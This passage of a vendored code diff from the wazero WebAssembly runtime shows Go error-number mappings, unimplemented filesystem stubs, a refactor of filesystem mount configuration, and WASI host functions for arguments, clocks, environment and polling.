return ENOSYS, true
|
||||
case syscall.ENOTDIR:
|
||||
return ENOTDIR, true
|
||||
case syscall.ERANGE:
|
||||
return ERANGE, true
|
||||
case syscall.ENOTEMPTY:
|
||||
return ENOTEMPTY, true
|
||||
case syscall.ENOTSOCK:
|
||||
return ENOTSOCK, true
|
||||
case syscall.ENOTSUP:
|
||||
return ENOTSUP, true
|
||||
case syscall.EPERM:
|
||||
return EPERM, true
|
||||
case syscall.EROFS:
|
||||
return EROFS, true
|
||||
default:
|
||||
return EIO, true
|
||||
}
|
||||
}
|
||||
|
||||
// Unwrap is a convenience for runtime.GOOS which define syscall.Errno.
|
||||
func (e Errno) Unwrap() error {
|
||||
switch e {
|
||||
case 0:
|
||||
return nil
|
||||
case EACCES:
|
||||
return syscall.EACCES
|
||||
case EAGAIN:
|
||||
return syscall.EAGAIN
|
||||
case EBADF:
|
||||
return syscall.EBADF
|
||||
case EEXIST:
|
||||
return syscall.EEXIST
|
||||
case EFAULT:
|
||||
return syscall.EFAULT
|
||||
case EINTR:
|
||||
return syscall.EINTR
|
||||
case EINVAL:
|
||||
return syscall.EINVAL
|
||||
case EIO:
|
||||
return syscall.EIO
|
||||
case EISDIR:
|
||||
return syscall.EISDIR
|
||||
case ELOOP:
|
||||
return syscall.ELOOP
|
||||
case ENAMETOOLONG:
|
||||
return syscall.ENAMETOOLONG
|
||||
case ENOENT:
|
||||
return syscall.ENOENT
|
||||
case ENOSYS:
|
||||
return syscall.ENOSYS
|
||||
case ENOTDIR:
|
||||
return syscall.ENOTDIR
|
||||
case ENOTEMPTY:
|
||||
return syscall.ENOTEMPTY
|
||||
case ENOTSOCK:
|
||||
return syscall.ENOTSOCK
|
||||
case ENOTSUP:
|
||||
return syscall.ENOTSUP
|
||||
case EPERM:
|
||||
return syscall.EPERM
|
||||
case EROFS:
|
||||
return syscall.EROFS
|
||||
default:
|
||||
return syscall.EIO
|
||||
}
|
||||
}
|
||||
Generated
Vendored
+13
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package sys
|
||||
|
||||
func errorToErrno(err error) Errno {
|
||||
if errno, ok := err.(Errno); ok {
|
||||
return errno
|
||||
}
|
||||
if errno, ok := syscallToErrno(err); ok {
|
||||
return errno
|
||||
}
|
||||
return EIO
|
||||
}
|
||||
Generated
Vendored
+7
@@ -0,0 +1,7 @@
|
||||
//go:build plan9 || aix
|
||||
|
||||
package sys
|
||||
|
||||
func syscallToErrno(err error) (Errno, bool) {
|
||||
return 0, false
|
||||
}
|
||||
Generated
Vendored
+62
@@ -0,0 +1,62 @@
|
||||
package sys
|
||||
|
||||
import "syscall"
|
||||
|
||||
// These are errors not defined in the syscall package. They are prefixed with
|
||||
// underscore to avoid exporting them.
|
||||
//
|
||||
// See https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499-
|
||||
const (
|
||||
// _ERROR_INVALID_HANDLE is a Windows error returned by syscall.Write
|
||||
// instead of syscall.EBADF
|
||||
_ERROR_INVALID_HANDLE = syscall.Errno(6)
|
||||
|
||||
// _ERROR_INVALID_NAME is a Windows error returned by open when a file
|
||||
// path has a trailing slash
|
||||
_ERROR_INVALID_NAME = syscall.Errno(0x7B)
|
||||
|
||||
// _ERROR_NEGATIVE_SEEK is a Windows error returned by os.Truncate
|
||||
// instead of syscall.EINVAL
|
||||
_ERROR_NEGATIVE_SEEK = syscall.Errno(0x83)
|
||||
|
||||
// _ERROR_DIRECTORY is a Windows error returned by syscall.Rmdir
|
||||
// instead of syscall.ENOTDIR
|
||||
_ERROR_DIRECTORY = syscall.Errno(0x10B)
|
||||
|
||||
// _ERROR_INVALID_SOCKET is a Windows error returned by winsock_select
|
||||
// when a given handle is not a socket.
|
||||
_ERROR_INVALID_SOCKET = syscall.Errno(0x2736)
|
||||
)
|
||||
|
||||
func errorToErrno(err error) Errno {
|
||||
switch err := err.(type) {
|
||||
case Errno:
|
||||
return err
|
||||
case syscall.Errno:
|
||||
// Note: In windows, _ERROR_PATH_NOT_FOUND(0x3) maps to syscall.ENOTDIR
|
||||
switch err {
|
||||
case syscall.ERROR_ALREADY_EXISTS:
|
||||
return EEXIST
|
||||
case _ERROR_DIRECTORY:
|
||||
return ENOTDIR
|
||||
case syscall.ERROR_DIR_NOT_EMPTY:
|
||||
return ENOTEMPTY
|
||||
case syscall.ERROR_FILE_EXISTS:
|
||||
return EEXIST
|
||||
case _ERROR_INVALID_HANDLE, _ERROR_INVALID_SOCKET:
|
||||
return EBADF
|
||||
case syscall.ERROR_ACCESS_DENIED:
|
||||
// POSIX read and write functions expect EBADF, not EACCES when not
|
||||
// open for reading or writing.
|
||||
return EBADF
|
||||
case syscall.ERROR_PRIVILEGE_NOT_HELD:
|
||||
return EPERM
|
||||
case _ERROR_NEGATIVE_SEEK, _ERROR_INVALID_NAME:
|
||||
return EINVAL
|
||||
}
|
||||
errno, _ := syscallToErrno(err)
|
||||
return errno
|
||||
default:
|
||||
return EIO
|
||||
}
|
||||
}
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
package sys
|
||||
|
||||
import "math"
|
||||
|
||||
// UTIME_OMIT is a special constant for use in updating times via FS.Utimens
|
||||
// or File.Utimens. When used for atim or mtim, the value is retained.
|
||||
//
|
||||
// Note: This may be implemented via a stat when the underlying filesystem
|
||||
// does not support this value.
|
||||
const UTIME_OMIT int64 = math.MinInt64
|
||||
+160
@@ -0,0 +1,160 @@
|
||||
package sys
|
||||
|
||||
import (
|
||||
"io/fs"
|
||||
|
||||
"github.com/tetratelabs/wazero/sys"
|
||||
)
|
||||
|
||||
// UnimplementedFS is an FS that returns ENOSYS for all functions,
|
||||
// This should be embedded to have forward compatible implementations.
|
||||
type UnimplementedFS struct{}
|
||||
|
||||
// OpenFile implements FS.OpenFile
|
||||
func (UnimplementedFS) OpenFile(path string, flag Oflag, perm fs.FileMode) (File, Errno) {
|
||||
return nil, ENOSYS
|
||||
}
|
||||
|
||||
// Lstat implements FS.Lstat
|
||||
func (UnimplementedFS) Lstat(path string) (sys.Stat_t, Errno) {
|
||||
return sys.Stat_t{}, ENOSYS
|
||||
}
|
||||
|
||||
// Stat implements FS.Stat
|
||||
func (UnimplementedFS) Stat(path string) (sys.Stat_t, Errno) {
|
||||
return sys.Stat_t{}, ENOSYS
|
||||
}
|
||||
|
||||
// Readlink implements FS.Readlink
|
||||
func (UnimplementedFS) Readlink(path string) (string, Errno) {
|
||||
return "", ENOSYS
|
||||
}
|
||||
|
||||
// Mkdir implements FS.Mkdir
|
||||
func (UnimplementedFS) Mkdir(path string, perm fs.FileMode) Errno {
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
// Chmod implements FS.Chmod
|
||||
func (UnimplementedFS) Chmod(path string, perm fs.FileMode) Errno {
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
// Rename implements FS.Rename
|
||||
func (UnimplementedFS) Rename(from, to string) Errno {
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
// Rmdir implements FS.Rmdir
|
||||
func (UnimplementedFS) Rmdir(path string) Errno {
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
// Link implements FS.Link
|
||||
func (UnimplementedFS) Link(_, _ string) Errno {
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
// Symlink implements FS.Symlink
|
||||
func (UnimplementedFS) Symlink(_, _ string) Errno {
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
// Unlink implements FS.Unlink
|
||||
func (UnimplementedFS) Unlink(path string) Errno {
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
// Utimens implements FS.Utimens
|
||||
func (UnimplementedFS) Utimens(path string, atim, mtim int64) Errno {
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
// UnimplementedFile is a File that returns ENOSYS for all functions,
|
||||
// except where no-op are otherwise documented.
|
||||
//
|
||||
// This should be embedded to have forward compatible implementations.
|
||||
type UnimplementedFile struct{}
|
||||
|
||||
// Dev implements File.Dev
|
||||
func (UnimplementedFile) Dev() (uint64, Errno) {
|
||||
return 0, 0
|
||||
}
|
||||
|
||||
// Ino implements File.Ino
|
||||
func (UnimplementedFile) Ino() (sys.Inode, Errno) {
|
||||
return 0, 0
|
||||
}
|
||||
|
||||
// IsDir implements File.IsDir
|
||||
func (UnimplementedFile) IsDir() (bool, Errno) {
|
||||
return false, 0
|
||||
}
|
||||
|
||||
// IsAppend implements File.IsAppend
|
||||
func (UnimplementedFile) IsAppend() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
// SetAppend implements File.SetAppend
|
||||
func (UnimplementedFile) SetAppend(bool) Errno {
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
// Stat implements File.Stat
|
||||
func (UnimplementedFile) Stat() (sys.Stat_t, Errno) {
|
||||
return sys.Stat_t{}, ENOSYS
|
||||
}
|
||||
|
||||
// Read implements File.Read
|
||||
func (UnimplementedFile) Read([]byte) (int, Errno) {
|
||||
return 0, ENOSYS
|
||||
}
|
||||
|
||||
// Pread implements File.Pread
|
||||
func (UnimplementedFile) Pread([]byte, int64) (int, Errno) {
|
||||
return 0, ENOSYS
|
||||
}
|
||||
|
||||
// Seek implements File.Seek
|
||||
func (UnimplementedFile) Seek(int64, int) (int64, Errno) {
|
||||
return 0, ENOSYS
|
||||
}
|
||||
|
||||
// Readdir implements File.Readdir
|
||||
func (UnimplementedFile) Readdir(int) (dirents []Dirent, errno Errno) {
|
||||
return nil, ENOSYS
|
||||
}
|
||||
|
||||
// Write implements File.Write
|
||||
func (UnimplementedFile) Write([]byte) (int, Errno) {
|
||||
return 0, ENOSYS
|
||||
}
|
||||
|
||||
// Pwrite implements File.Pwrite
|
||||
func (UnimplementedFile) Pwrite([]byte, int64) (int, Errno) {
|
||||
return 0, ENOSYS
|
||||
}
|
||||
|
||||
// Truncate implements File.Truncate
|
||||
func (UnimplementedFile) Truncate(int64) Errno {
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
// Sync implements File.Sync
|
||||
func (UnimplementedFile) Sync() Errno {
|
||||
return 0 // not ENOSYS
|
||||
}
|
||||
|
||||
// Datasync implements File.Datasync
|
||||
func (UnimplementedFile) Datasync() Errno {
|
||||
return 0 // not ENOSYS
|
||||
}
|
||||
|
||||
// Utimens implements File.Utimens
|
||||
func (UnimplementedFile) Utimens(int64, int64) Errno {
|
||||
return ENOSYS
|
||||
}
|
||||
|
||||
// Close implements File.Close
|
||||
func (UnimplementedFile) Close() (errno Errno) { return }
|
||||
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
+44
-14
@@ -3,7 +3,8 @@ package wazero
|
||||
import (
|
||||
"io/fs"
|
||||
|
||||
"github.com/tetratelabs/wazero/internal/fsapi"
|
||||
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/sys"
|
||||
"github.com/tetratelabs/wazero/internal/sysfs"
|
||||
)
|
||||
|
||||
@@ -30,8 +31,7 @@ import (
|
||||
//
|
||||
// More notes on `guestPath`
|
||||
// - Go compiled with runtime.GOOS=js do not pay attention to this value.
|
||||
// Hence, you need to normalize the filesystem with NewRootFS to ensure
|
||||
// paths requested resolve as expected.
|
||||
// It only works with root mounts ("").
|
||||
// - Working directories are typically tracked in wasm, though possible some
|
||||
// relative paths are requested. For example, TinyGo may attempt to resolve
|
||||
// a path "../.." in unit tests.
|
||||
@@ -84,7 +84,7 @@ type FSConfig interface {
|
||||
//
|
||||
// # os.DirFS
|
||||
//
|
||||
// This configuration optimizes for WASI compatability which is sometimes
|
||||
// This configuration optimizes for WASI compatibility which is sometimes
|
||||
// at odds with the behavior of os.DirFS. Hence, this will not behave
|
||||
// exactly the same as os.DirFS. See /RATIONALE.md for more.
|
||||
WithDirMount(dir, guestPath string) FSConfig
|
||||
@@ -118,12 +118,24 @@ type FSConfig interface {
|
||||
// advise using WithDirMount instead. There will be behavior differences
|
||||
// between os.DirFS and WithDirMount, as the latter biases towards what's
|
||||
// expected from WASI implementations.
|
||||
//
|
||||
// # Custom fs.FileInfo
|
||||
//
|
||||
// The underlying implementation supports data not usually in fs.FileInfo
|
||||
// when `info.Sys` returns *sys.Stat_t. For example, a custom fs.FS can use
|
||||
// this approach to generate or mask sys.Inode data. Such a filesystem
|
||||
// needs to decorate any functions that can return fs.FileInfo:
|
||||
//
|
||||
// - `Stat` as defined on `fs.File` (always)
|
||||
// - `Readdir` as defined on `os.File` (if defined)
|
||||
//
|
||||
// See sys.NewStat_t for examples.
|
||||
WithFSMount(fs fs.FS, guestPath string) FSConfig
|
||||
}
|
||||
|
||||
type fsConfig struct {
|
||||
// fs are the currently configured filesystems.
|
||||
fs []fsapi.FS
|
||||
fs []experimentalsys.FS
|
||||
// guestPaths are the user-supplied names of the filesystems, retained for
|
||||
// error messages and fmt.Stringer.
|
||||
guestPaths []string
|
||||
@@ -140,7 +152,7 @@ func NewFSConfig() FSConfig {
|
||||
// clone makes a deep copy of this module config.
|
||||
func (c *fsConfig) clone() *fsConfig {
|
||||
ret := *c // copy except slice and maps which share a ref
|
||||
ret.fs = make([]fsapi.FS, 0, len(c.fs))
|
||||
ret.fs = make([]experimentalsys.FS, 0, len(c.fs))
|
||||
ret.fs = append(ret.fs, c.fs...)
|
||||
ret.guestPaths = make([]string, 0, len(c.guestPaths))
|
||||
ret.guestPaths = append(ret.guestPaths, c.guestPaths...)
|
||||
@@ -153,26 +165,34 @@ func (c *fsConfig) clone() *fsConfig {
|
||||
|
||||
// WithDirMount implements FSConfig.WithDirMount
|
||||
func (c *fsConfig) WithDirMount(dir, guestPath string) FSConfig {
|
||||
return c.withMount(sysfs.NewDirFS(dir), guestPath)
|
||||
return c.WithSysFSMount(sysfs.DirFS(dir), guestPath)
|
||||
}
|
||||
|
||||
// WithReadOnlyDirMount implements FSConfig.WithReadOnlyDirMount
|
||||
func (c *fsConfig) WithReadOnlyDirMount(dir, guestPath string) FSConfig {
|
||||
return c.withMount(sysfs.NewReadFS(sysfs.NewDirFS(dir)), guestPath)
|
||||
return c.WithSysFSMount(&sysfs.ReadFS{FS: sysfs.DirFS(dir)}, guestPath)
|
||||
}
|
||||
|
||||
// WithFSMount implements FSConfig.WithFSMount
|
||||
func (c *fsConfig) WithFSMount(fs fs.FS, guestPath string) FSConfig {
|
||||
return c.withMount(sysfs.Adapt(fs), guestPath)
|
||||
var adapted experimentalsys.FS
|
||||
if fs != nil {
|
||||
adapted = &sysfs.AdaptFS{FS: fs}
|
||||
}
|
||||
return c.WithSysFSMount(adapted, guestPath)
|
||||
}
|
||||
|
||||
func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig {
|
||||
cleaned := sysfs.StripPrefixesAndTrailingSlash(guestPath)
|
||||
// WithSysFSMount implements sysfs.FSConfig
|
||||
func (c *fsConfig) WithSysFSMount(fs experimentalsys.FS, guestPath string) FSConfig {
|
||||
if _, ok := fs.(experimentalsys.UnimplementedFS); ok {
|
||||
return c // don't add fake paths.
|
||||
}
|
||||
cleaned := sys.StripPrefixesAndTrailingSlash(guestPath)
|
||||
ret := c.clone()
|
||||
if i, ok := ret.guestPathToFS[cleaned]; ok {
|
||||
ret.fs[i] = fs
|
||||
ret.guestPaths[i] = guestPath
|
||||
} else {
|
||||
} else if fs != nil {
|
||||
ret.guestPathToFS[cleaned] = len(ret.fs)
|
||||
ret.fs = append(ret.fs, fs)
|
||||
ret.guestPaths = append(ret.guestPaths, guestPath)
|
||||
@@ -180,6 +200,16 @@ func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig {
|
||||
return ret
|
||||
}
|
||||
|
||||
func (c *fsConfig) toFS() (fsapi.FS, error) {
|
||||
return sysfs.NewRootFS(c.fs, c.guestPaths)
|
||||
// preopens returns the possible nil index-correlated preopened filesystems
|
||||
// with guest paths.
|
||||
func (c *fsConfig) preopens() ([]experimentalsys.FS, []string) {
|
||||
preopenCount := len(c.fs)
|
||||
if preopenCount == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
fs := make([]experimentalsys.FS, len(c.fs))
|
||||
copy(fs, c.fs)
|
||||
guestPaths := make([]string, len(c.guestPaths))
|
||||
copy(guestPaths, c.guestPaths)
|
||||
return fs, guestPaths
|
||||
}
|
||||
Generated
Vendored
+7
-7
@@ -2,9 +2,9 @@ package wasi_snapshot_preview1
|
||||
|
||||
import (
|
||||
"context"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
)
|
||||
@@ -23,7 +23,7 @@ import (
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is ErrnoSuccess except the following error conditions:
|
||||
// - syscall.EFAULT: there is not enough memory to write results
|
||||
// - sys.EFAULT: there is not enough memory to write results
|
||||
//
|
||||
// For example, if argsSizesGet wrote argc=2 and argvLen=5 for arguments:
|
||||
// "a" and "bc" parameters argv=7 and argvBuf=1, this function writes the below
|
||||
@@ -43,7 +43,7 @@ import (
|
||||
// See https://en.wikipedia.org/wiki/Null-terminated_string
|
||||
var argsGet = newHostFunc(wasip1.ArgsGetName, argsGetFn, []api.ValueType{i32, i32}, "argv", "argv_buf")
|
||||
|
||||
func argsGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func argsGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
argv, argvBuf := uint32(params[0]), uint32(params[1])
|
||||
return writeOffsetsAndNullTerminatedValues(mod.Memory(), sysCtx.Args(), argv, argvBuf, sysCtx.ArgsSize())
|
||||
@@ -61,7 +61,7 @@ func argsGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is ErrnoSuccess except the following error conditions:
|
||||
// - syscall.EFAULT: there is not enough memory to write results
|
||||
// - sys.EFAULT: there is not enough memory to write results
|
||||
//
|
||||
// For example, if args are "a", "bc" and parameters resultArgc=1 and
|
||||
// resultArgvLen=6, this function writes the below to api.Memory:
|
||||
@@ -80,7 +80,7 @@ func argsGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno
|
||||
// See https://en.wikipedia.org/wiki/Null-terminated_string
|
||||
var argsSizesGet = newHostFunc(wasip1.ArgsSizesGetName, argsSizesGetFn, []api.ValueType{i32, i32}, "result.argc", "result.argv_len")
|
||||
|
||||
func argsSizesGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func argsSizesGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
mem := mod.Memory()
|
||||
resultArgc, resultArgvLen := uint32(params[0]), uint32(params[1])
|
||||
@@ -88,10 +88,10 @@ func argsSizesGetFn(_ context.Context, mod api.Module, params []uint64) syscall.
|
||||
// argc and argv_len offsets are not necessarily sequential, so we have to
|
||||
// write them independently.
|
||||
if !mem.WriteUint32Le(resultArgc, uint32(len(sysCtx.Args()))) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
if !mem.WriteUint32Le(resultArgvLen, sysCtx.ArgsSize()) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
return 0
|
||||
}
|
||||
Generated
Vendored
+13
-13
@@ -2,9 +2,9 @@ package wasi_snapshot_preview1
|
||||
|
||||
import (
|
||||
"context"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
)
|
||||
@@ -21,9 +21,9 @@ import (
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is 0 except the following error conditions:
|
||||
// - syscall.ENOTSUP: the clock ID is not supported.
|
||||
// - syscall.EINVAL: the clock ID is invalid.
|
||||
// - syscall.EFAULT: there is not enough memory to write results
|
||||
// - sys.ENOTSUP: the clock ID is not supported.
|
||||
// - sys.EINVAL: the clock ID is invalid.
|
||||
// - sys.EFAULT: there is not enough memory to write results
|
||||
//
|
||||
// For example, if the resolution is 100ns, this function writes the below to
|
||||
// api.Memory:
|
||||
@@ -39,7 +39,7 @@ import (
|
||||
// See https://linux.die.net/man/3/clock_getres
|
||||
var clockResGet = newHostFunc(wasip1.ClockResGetName, clockResGetFn, []api.ValueType{i32, i32}, "id", "result.resolution")
|
||||
|
||||
func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func clockResGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
id, resultResolution := uint32(params[0]), uint32(params[1])
|
||||
|
||||
@@ -50,11 +50,11 @@ func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.E
|
||||
case wasip1.ClockIDMonotonic:
|
||||
resolution = uint64(sysCtx.NanotimeResolution())
|
||||
default:
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
|
||||
if !mod.Memory().WriteUint64Le(resultResolution, resolution) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
return 0
|
||||
}
|
||||
@@ -73,9 +73,9 @@ func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.E
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is 0 except the following error conditions:
|
||||
// - syscall.ENOTSUP: the clock ID is not supported.
|
||||
// - syscall.EINVAL: the clock ID is invalid.
|
||||
// - syscall.EFAULT: there is not enough memory to write results
|
||||
// - sys.ENOTSUP: the clock ID is not supported.
|
||||
// - sys.EINVAL: the clock ID is invalid.
|
||||
// - sys.EFAULT: there is not enough memory to write results
|
||||
//
|
||||
// For example, if time.Now returned exactly midnight UTC 2022-01-01
|
||||
// (1640995200000000000), and parameters resultTimestamp=1, this function
|
||||
@@ -92,7 +92,7 @@ func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.E
|
||||
// See https://linux.die.net/man/3/clock_gettime
|
||||
var clockTimeGet = newHostFunc(wasip1.ClockTimeGetName, clockTimeGetFn, []api.ValueType{i32, i64, i32}, "id", "precision", "result.timestamp")
|
||||
|
||||
func clockTimeGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func clockTimeGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
id := uint32(params[0])
|
||||
// TODO: precision is currently ignored.
|
||||
@@ -106,11 +106,11 @@ func clockTimeGetFn(_ context.Context, mod api.Module, params []uint64) syscall.
|
||||
case wasip1.ClockIDMonotonic:
|
||||
val = sysCtx.Nanotime()
|
||||
default:
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
|
||||
if !mod.Memory().WriteUint64Le(resultTimestamp, uint64(val)) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
return 0
|
||||
}
|
||||
Generated
Vendored
+7
-7
@@ -2,9 +2,9 @@ package wasi_snapshot_preview1
|
||||
|
||||
import (
|
||||
"context"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
)
|
||||
@@ -24,7 +24,7 @@ import (
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is 0 except the following error conditions:
|
||||
// - syscall.EFAULT: there is not enough memory to write results
|
||||
// - sys.EFAULT: there is not enough memory to write results
|
||||
//
|
||||
// For example, if environSizesGet wrote environc=2 and environLen=9 for
|
||||
// environment variables: "a=b", "b=cd" and parameters environ=11 and
|
||||
@@ -43,7 +43,7 @@ import (
|
||||
// See https://en.wikipedia.org/wiki/Null-terminated_string
|
||||
var environGet = newHostFunc(wasip1.EnvironGetName, environGetFn, []api.ValueType{i32, i32}, "environ", "environ_buf")
|
||||
|
||||
func environGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func environGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
environ, environBuf := uint32(params[0]), uint32(params[1])
|
||||
|
||||
@@ -63,7 +63,7 @@ func environGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is 0 except the following error conditions:
|
||||
// - syscall.EFAULT: there is not enough memory to write results
|
||||
// - sys.EFAULT: there is not enough memory to write results
|
||||
//
|
||||
// For example, if environ are "a=b","b=cd" and parameters resultEnvironc=1 and
|
||||
// resultEnvironvLen=6, this function writes the below to api.Memory:
|
||||
@@ -83,7 +83,7 @@ func environGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
// and https://en.wikipedia.org/wiki/Null-terminated_string
|
||||
var environSizesGet = newHostFunc(wasip1.EnvironSizesGetName, environSizesGetFn, []api.ValueType{i32, i32}, "result.environc", "result.environv_len")
|
||||
|
||||
func environSizesGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func environSizesGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
mem := mod.Memory()
|
||||
resultEnvironc, resultEnvironvLen := uint32(params[0]), uint32(params[1])
|
||||
@@ -91,10 +91,10 @@ func environSizesGetFn(_ context.Context, mod api.Module, params []uint64) sysca
|
||||
// environc and environv_len offsets are not necessarily sequential, so we
|
||||
// have to write them independently.
|
||||
if !mem.WriteUint32Le(resultEnvironc, uint32(len(sysCtx.Environ()))) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
if !mem.WriteUint32Le(resultEnvironvLen, sysCtx.EnvironSize()) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
return 0
|
||||
}
|
||||
Generated
Vendored
+351
-301
File diff suppressed because it is too large.
Load diff
Generated
Vendored
+77
-89
@@ -2,10 +2,11 @@ package wasi_snapshot_preview1
|
||||
|
||||
import (
|
||||
"context"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/fsapi"
|
||||
internalsys "github.com/tetratelabs/wazero/internal/sys"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
@@ -18,15 +19,15 @@ import (
|
||||
//
|
||||
// - in: pointer to the subscriptions (48 bytes each)
|
||||
// - out: pointer to the resulting events (32 bytes each)
|
||||
// - nsubscriptions: count of subscriptions, zero returns syscall.EINVAL.
|
||||
// - nsubscriptions: count of subscriptions, zero returns sys.EINVAL.
|
||||
// - resultNevents: count of events.
|
||||
//
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is 0 except the following error conditions:
|
||||
// - syscall.EINVAL: the parameters are invalid
|
||||
// - syscall.ENOTSUP: a parameters is valid, but not yet supported.
|
||||
// - syscall.EFAULT: there is not enough memory to read the subscriptions or
|
||||
// - sys.EINVAL: the parameters are invalid
|
||||
// - sys.ENOTSUP: a parameters is valid, but not yet supported.
|
||||
// - sys.EFAULT: there is not enough memory to read the subscriptions or
|
||||
// write results.
|
||||
//
|
||||
// # Notes
|
||||
@@ -46,17 +47,16 @@ type event struct {
|
||||
eventType byte
|
||||
userData []byte
|
||||
errno wasip1.Errno
|
||||
outOffset uint32
|
||||
}
|
||||
|
||||
func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
in := uint32(params[0])
|
||||
out := uint32(params[1])
|
||||
nsubscriptions := uint32(params[2])
|
||||
resultNevents := uint32(params[3])
|
||||
|
||||
if nsubscriptions == 0 {
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
|
||||
mem := mod.Memory()
|
||||
@@ -64,7 +64,7 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
// Ensure capacity prior to the read loop to reduce error handling.
|
||||
inBuf, ok := mem.Read(in, nsubscriptions*48)
|
||||
if !ok {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
outBuf, ok := mem.Read(out, nsubscriptions*32)
|
||||
// zero-out all buffer before writing
|
||||
@@ -73,33 +73,33 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
}
|
||||
|
||||
if !ok {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
|
||||
// Eagerly write the number of events which will equal subscriptions unless
|
||||
// there's a fault in parsing (not processing).
|
||||
if !mod.Memory().WriteUint32Le(resultNevents, nsubscriptions) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
|
||||
// Loop through all subscriptions and write their output.
|
||||
|
||||
// Extract FS context, used in the body of the for loop for FS access.
|
||||
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
|
||||
// Slice of events that are processed out of the loop (stdin subscribers).
|
||||
var stdinSubs []*event
|
||||
// Slice of events that are processed out of the loop (blocking stdin subscribers).
|
||||
var blockingStdinSubs []*event
|
